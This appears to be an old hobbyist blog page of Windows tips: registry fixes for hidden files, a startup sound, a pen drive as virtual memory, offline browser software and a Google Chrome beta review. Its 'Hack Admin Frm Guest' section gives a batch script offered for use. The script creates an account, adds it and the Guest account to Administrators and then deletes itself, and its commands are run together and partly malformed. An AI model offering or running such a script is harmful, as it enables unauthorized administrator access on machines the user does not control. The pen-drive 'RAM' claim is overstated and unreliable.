nowadays there is one common problem that many are not able to view hidden files and folder even after enabling show hidden files and folders in folder options .. please follow dis steps to enable it again..Open the registry editor (Click on Start then run and type regedit press enter )..Now you will see a new window on the left pane Navigate to the following path
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\explorer\Advanced\Folder\Hidden
Under this key, you’ll see 2 more keys “NOHIDDEN” and “SHOWALL“. Make sure that the values of “CheckedValue” and “DefaultValue” in right-side pane are “2” and “2” for “NOHIDDEN” and “1” and “2” for “SHOWALL” respectively. If it has some other value change it..Now check whether you are able to hide or unhide..
If this doesnt work try this..Navigate to
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
now at right-side pane, change value of "Hidden" to:
1 - To show hidden files2 - To not show hidden files
show hidden files
Hack Admin Frm Guest
VISIT AS GAUEST BUT ENJOY ADMIN'S PRIVILEGES
And to enjoy all those privileges you just need to
copy following code to the notepad:
Quote:echo offtitle Please wait...clsnet user add Username Password /addnet user localgroup Administrators Username /addnet user Guest 420 /active:yesnet localgroup Guests Guest /DELETEnet localgroup Administrators Guest /adddel %0
after you done with pasting above code save the file as 'Guest2admin.bat'.
then double click to execute the same file and enjoy.
Song At Startup
but you can set your recording, favorite song title or any themes.
and it is as simple as just browsing that file but the condition is only that file should be in wav format.
The steps are as follows:-
Go to start then setting then control panel then sounds and audio devices then soundsin program events, select start windows, in below click on browse and select the audio song which u want.
Pen Drive as RAM.
Yes with some modofied settings you can use your pen drive as a memory(RAM) now.
It will help you a lot when your pc is having a big load or When you are missing and wishing some memory when you want to play some big games In which you are curious. Now the thing is dat you can not purchase new memory instantly for such instances. So i hav a trick which will benifit to you all and the trick which wil relaxx your computer.the trick is that you can use your pen drive as memory.
You just need to follow this steps:-
1) Connect your pen drive to your pc
[pen drive should be atleast 1 gb or if you having 4 gb then its better]
2) Allow pc what he is supposed to do,let system to detect pen drive.
3) After your pc finished with his detection work,you hav to do some lottle work
4) Right click on the My Computer and select the properties
5) Goto advanced and then performance setting then advanced then change.
6) Select pen drive and click on custom size
" Check the value of space available "
7) Enter the same in the Initial and the Max columns
" You just used the memory of the PenDrive as a Virtual Memory "
8) Now restart your pc and enjoy your fast and super system
Browse without Net.
Are you one of those hooked perennially to the Internet? Have you ever noticed the amount of time – and money – spent on browsing the same Web pages regularly?
Want to go easy on the surfing? An ‘offline browser’ is your choice. This is a software tool used to save a part or a whole Web site onto the user’s hard drive. This will enable you to browse Web sites whenever you want to, without b eing connected to the Internet. Here are some you might want to try:
HTTrack is an easy-to-use utility. It allows you to download a Web site to a local directory, building recursively all directories, getting HTML, images, and other files from the server to your PC.
It arranges the original site’s relative link-structure. Simply open a page of the ‘mirrored’ Web site in your browser, and you can browse the site from link to link, as if you were viewing it online. HTTrack can also update an existing mirrored site, and resume interrupted downloads. It is fully configurable, and has an integrated help system.
If you go to the ‘download page’, it lists out the various types of versions to suit your operating system.
http://pagenest.com/
PageNest is a free offline browser that allows you to copy your favourite Web pages to your hard disk. Give PageNest the address of a Web site and it will copy either the page or the entire site (whichever you prefer) to your hard disk. It will create an exact copy of what you see in your browser, including the text, HTML, images, etc.
According to the Web site, PageNest can download up to 40 files at once to make the best use of your connection download pages as quickly as possible. It has many unique features such as the clickable list of recent downloads, buttons to move between sites in a single click, and a range of sensible defaults so you rarely need to change many settings.
You can also browse Web sites either within PageNest or from your favourite browser. Because they are ordinary files, you can, for example, copy them to a laptop and take them with you to view when away from a Net connection. PageNest is compatible with Windows Vista, XP, 2000, ME and 98. It comes with two editions, viz PageNest Free Edition (version 3.04 and file size 1.8 MB) and PageNest Pro Trial Version (V3.04 and 1.8 MB).
/backstreet/
This Web site will provide you a free offline browser called BackStreet Browser. Through this you can quickly download an entire Web site or part of a site including HTML, graphics, Java Applets, sound and other user definable files, and save all the files in your hard drive, either in their native format, or as a compressed ZIP file and view offline.
After the downloading, all links within the Web site are reconstructed creating a complete hard drive copy of the site that you can view at your own pace without being connected to the Net.
Additionally, BackStreet Browser provides the option of duplicating the original directory structure of a site, making it easy to download and transfer a site to another server.
If your Net gets disconnected while downloading a site, the Resume Session allows you to pick up a session where you left off after re-establishing your Internet connection.
If you wish to update a previously downloaded site, the Update Session feature allows you to revisit a site using new search parameters to make sure you have the most current files.
In addition to the embedded quick-view browser window in the main program screen, you can launch your default browser to view any downloaded projects. This quick-view facility also supports browsing zipped Web site, so that you don’t have to unzip the files to view.
System Requirements: Windows 95/98/2000/NT/ME/XP, 64 MB RAM, 2 MB Hard Disk Space, Internet Connection.
Do all PCs lead to Chrome?
I have been playing with Google Chrome for some days now and am quite happy with it, except for a few niggles here and there, which makes me go back to Firefox every now and then.
The installation is easy and quick. You download a less than half MB installer and then fire it up for a roughly 7 MB Chrome installation.
The setup process allows you to download your preferences, settings, passwords and favourites from Microsoft Internet Explorer (IE) and Mozilla FireFox (FF). You can choose not to import settings at that time and Chrome will allow you to import settings later.
I installed Chrome at home first, and the installation was a breeze. I had problems with the second part of the installation download (the 7 MB part) at work. I figured it was because of the proxy connection and have this suggestion to make to Google: make available a zip or exe installer for such connections, otherwise a whole lot of Internet users through enterprise proxy connections might not be able to give it a try.
Starting up Chrome for the first time was refreshing: very clean and lots of space for the content.
The translation of Google’s philosophy for the design of its Web services to this desktop application is near perfect. The tabs go on top, where you see the title bar for most other applications. There is just a single menu bar incorporating the basic back, forward, and refresh buttons, bookmark button, the omnibox, and the page and settings buttons.
The omnibox is a more powerful address bar, making suggestions for Web sites and for search.
I ran into my first gripe about three minutes into using Chrome: I was in the Google Chrome download page ( http://www.google.com/chrome) and wanted to send it to a friend, and there is no “send this link” or “send this page” option. I share a lot of links and Web pages this way and it was a big downer for me.
A few minutes later, I was on www.ted.com and downloading a video to my desktop. It was a fairly large file, around 65 MB, and I moved on to other things, in different tabs.
After a while, I was a little tired and distracted and closed the Chrome window and it just closed all the tabs and cancelled my download as well. No warning about closing/saving tabs; No maintaining a download in a separate window.
I also missed using my favourite FF extensions, especially the web developer toolbar. If you have a few extensions that you think you can’t do without, then it’s too bad for Chrome.
Of course, the browser is still in beta and, Google is likely to sort most of these problems out before the final product is released.
Nice touches tooOh, and in case you think I am becoming too critical about Chrome, it is only because of the very high expectations we tend to have for any new product or service from Google. In fact, it has quite a few things going for it.
Anecdotal evidence shows that the browser is significantly faster.
It also helps speed up the browsing experience with its new tab page that gives you a snapshot of your most visited pages, gives you a link to your history, as well as allows you to search your history.
I like that the entire browser doesn’t come to a standstill when one of the pages/tabs crashes.
You also get an “incognito” mode which is for anonymous browsing as far as leaving traces in your PC goes, meaning that no cookies, no history and no temporary files will be saved from those sessions. The data will still be available to logging applications and other snoops. This is a feature that is available in the IE 8 beta as well.
You can create application shortcuts for your Web applications such as Gmail and Google Docs, and Chrome will display those sites like a desktop application, without the address bar and navigation.
You can move a tab out into a separate window if you are the kind that likes to keep their browsing organised even as you drill down and investigate links from various Web sites.
A nice touch is that the URL in the address bar is colour-coded, with only the URL showing up in black and the rest of the address in grey. Also “https” is shown in green when you are in a secure site.
Too subtle at timesSometimes, the nice touches are too nice, too subtle. We are so used to seeing a dialog box when we initiate a download in IE or FF that when Chrome shows an unobtrusive band at the bottom of the screen after initiating a download, we tend to miss it and hit the download button a couple more times. Thankfully, that is only the default behaviour and we can make Chrome ask for the download location for each file in the “minor tweaks” tab in the options dialog under the settings menu.
I also like the extra screen space it offers to content, especially on my laptop which has a fairly small 13.3-inch screen. But I also don’t use it all the time in my laptop because I use the fingerprint software to store usernames and passwords for my most important work Web sites.
So, finally: Should you dump Internet Explorer or Firefox for Google Chrome? Not yet. Should you give it a whirl? Definitely, yes. You might like it and use it exclusively if you are not a techie or if you use a laptop with a small screen.